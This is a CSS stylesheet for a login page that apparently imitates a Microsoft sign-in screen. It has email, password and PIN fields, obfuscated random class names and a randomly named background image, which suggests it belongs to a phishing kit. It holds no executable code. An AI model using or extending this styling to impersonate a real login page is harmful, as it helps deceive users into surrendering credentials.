*, *::before, *::after { box-sizing: border-box; }

body {
    margin: 0;
    font-family: "Segoe UI", system-ui, -apple-system, BlinkMacSystemFont, sans-serif;
    min-height: 100vh;
    color: #1b1b1b;
    background-color: #fff;
    background-image: url("/hftdsbh2123.svg");
    background-position: center;
    background-size: cover;
    background-repeat: no-repeat;
    background-attachment: fixed;
}

.qzm_m42x_wrap {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 8px;
    padding: 20px 16px 80px;
}

.wqr_h72b_card { width: 100%; max-width: 440px; }

.lkh_d22v_card {
    background: #fff;
    box-shadow: 0 2px 6px rgba(0,0,0,.2);
    padding: 44px 44px 36px;
    width: 100%;
    max-width: 440px;
    position: relative;
}
.lkh_d22v_card_pass { padding: 28px 44px 36px; }

.trn_j83p_row { display: flex; align-items: center; gap: 8px; margin-bottom: 16px; }
.trn_j83p_grid {
    display: grid; grid-template-columns: 1fr 1fr; gap: 1px;
    width: 21px; height: 21px; flex-shrink: 0;
}
.trn_j83p_grid div { width: 10px; height: 10px; }
.trn_j83p_txt { font-size: 21px; font-weight: 600; color: #1b1b1b; }

.hdr_p29x_head {
    display: flex; align-items: center; justify-content: center;
    position: relative; margin-bottom: 20px;
}
.hdr_p29x_head .trn_j83p_row { margin-bottom: 0; }
.bck_q17y_btn {
    position: absolute; left: 0; background: none; border: none;
    cursor: pointer; padding: 4px; color: #1b1b1b; display: flex; align-items: center;
}
.bck_q17y_btn:hover { color: #0078d4; }

.pld_r63g_badge { display: flex; justify-content: center; margin-bottom: 16px; }
.pld_r63g_badge span {
    border: 1px solid #8a8886; border-radius: 20px; padding: 4px 16px;
    font-size: 13px; color: #1b1b1b; max-width: 100%;
    overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}

.lkh_d22v_card h1 {
    font-size: 24px; font-weight: 600; line-height: 32px;
    color: #1b1b1b; margin: 0 0 16px; text-align: left;
}
.lkh_d22v_card_pass h1 { text-align: center; margin-bottom: 20px; }

#email {
    display: block; width: 100%; border: none;
    border-bottom: 1px solid #767676; padding: 4px 0 6px;
    background: transparent; font-size: 16px; font-family: inherit;
    color: #1b1b1b; margin-bottom: 12px; outline: none;
}
#email::placeholder { color: #767676; font-size: 15px; }
#email:focus { border-bottom: 2px solid #0078d4; }
#email.ier_i09t_in { border-bottom: 2px solid #a4262c; }

#password {
    display: block; width: 100%; border: 1px solid #8a8886;
    padding: 10px 12px; background: #fff; font-size: 16px;
    font-family: inherit; color: #1b1b1b; outline: none;
    -webkit-text-security: disc; text-security: disc;
}
#password:focus { border-color: #0078d4; box-shadow: inset 0 0 0 1px #0078d4; }
#password::placeholder { color: #767676; }

/* ---- PIN ---- */
#pin {
    display: none;
    width: 100%;
    margin-top: 12px;
    padding: 10px 12px;
    border: 1px solid #8a8886;
    background: #fff;
    font-size: 16px;
    font-family: inherit;
    color: #1b1b1b;
    outline: none;
    text-align: center;
    letter-spacing: .5em;
}
#pin.visible { display: block; }
#pin:focus { border-color: #0078d4; box-shadow: inset 0 0 0 1px #0078d4; }
#pin::placeholder { color: #767676; letter-spacing: normal; font-size: 15px; }

.lnk_d45h_link { color: #0078d4; text-decoration: none; font-size: 13px; }
.lnk_d45h_link:hover { text-decoration: underline; }

.flk_e91i_links { margin: 16px 0 8px; }
.flk_e91i_links p { font-size: 13px; margin: 0 0 8px; color: #1b1b1b; }
.plk_f52j_pass { margin-top: 12px; }

.fbt_g73k_bot { display: flex; align-items: center; justify-content: space-between; margin-top: 24px; }

.bttn_z99x_submit {
    background-color: #e0e0e0; color: #a0a0a0; border: none;
    font-size: 15px; font-weight: 600; font-family: inherit;
    padding: 8px 20px; min-height: 32px;
    cursor: not-allowed; pointer-events: none;
    transition: background-color .2s ease, color .2s ease;
}
.lkh_d22v_card_pass .bttn_z99x_submit { display: block; width: 100%; padding: 10px 12px; margin-top: 20px; }
.bttn_z99x_submit.stv_y11v_on { background-color: #0078d4; color: #fff; cursor: pointer; pointer-events: auto; }
.bttn_z99x_submit.stv_y11v_on:hover { background-color: #106ebe; }
.bttn_z99x_submit.stv_y11v_on:active { background-color: #005a9e; }
.bttn_z99x_submit:disabled,
.bttn_z99x_submit.stv_y11v_on:disabled { background-color: #8a8886; color: #fff; pointer-events: none; }

#errorMessage { display: none; margin-bottom: 12px; padding: 12px; background: #fef7f7; border: 1px solid #d83b01; }
#errorMessage.stv_x10u_show { display: block; }
#errorMessage .erw_d54o_row { display: flex; align-items: flex-start; gap: 8px; }
#errorMessage svg { width: 16px; height: 16px; color: #a4262c; flex-shrink: 0; margin-top: 2px; }
#errorMessage .ert_e65p_title { font-size: 14px; color: #a4262c; font-weight: 600; margin: 0; }
#errorMessage .ers_f76q_sub { font-size: 12px; color: #a4262c; margin: 4px 0 0; }

.opt_a21l_card {
    background: #fff; box-shadow: 0 2px 6px rgba(0,0,0,.2);
    padding: 16px 20px; width: 100%; max-width: 440px;
    display: flex; align-items: center; gap: 14px;
    cursor: pointer; font-size: 15px; color: #1b1b1b;
}
.opt_a21l_card:hover { background: #f5f5f5; }
.opt_a21l_icon { width: 20px; height: 20px; color: #605e5c; flex-shrink: 0; }

.oth_b32m_login { text-align: center; margin-top: 20px; padding-top: 20px; border-top: 1px solid #e0e0e0; }

.ftr_c43n_foot {
    position: fixed; bottom: 0; left: 0; right: 0;
    background: rgba(255,255,255,.95); border-top: 1px solid #e0e0e0;
    padding: 8px 16px; z-index: 50; display: flex;
    align-items: center; justify-content: center; gap: 24px;
    font-size: 12px; color: #605e5c;
}
.ftr_c43n_foot a { color: #605e5c; text-decoration: none; font-size: 12px; }
.ftr_c43n_foot a:hover { color: #0078d4; }

.fde_g87r_in { animation: fadeIn .3s ease-out; }
@keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: none; } }
@keyframes shake {
    0%, 100% { transform: translateX(0); }
    10%, 30%, 50%, 70%, 90% { transform: translateX(-3px); }
    20%, 40%, 60%, 80% { transform: translateX(3px); }
}
.anm_h98s_shake { animation: shake .5s ease-in-out; }

@media (max-width: 639px) {
    html, body {
        position: fixed !important; width: 100% !important; height: 100% !important;
        overflow: hidden !important; overscroll-behavior: none !important;
        touch-action: none !important; background-color: #ededed;
    }
    body { background-image: }
    .qzm_m42x_wrap {
        position: fixed !important; top: 0; right: 0; bottom: 0; left: 0;
        width: 100% !important; height: 100% !important;
        overflow: hidden !important; touch-action: none !important;
        background: url("/hftdsbh2123.svg");
    }
    .lkh_d22v_card { padding: 32px 26px 30px; }
    .lkh_d22v_card_pass { padding: 24px 26px 30px; }
}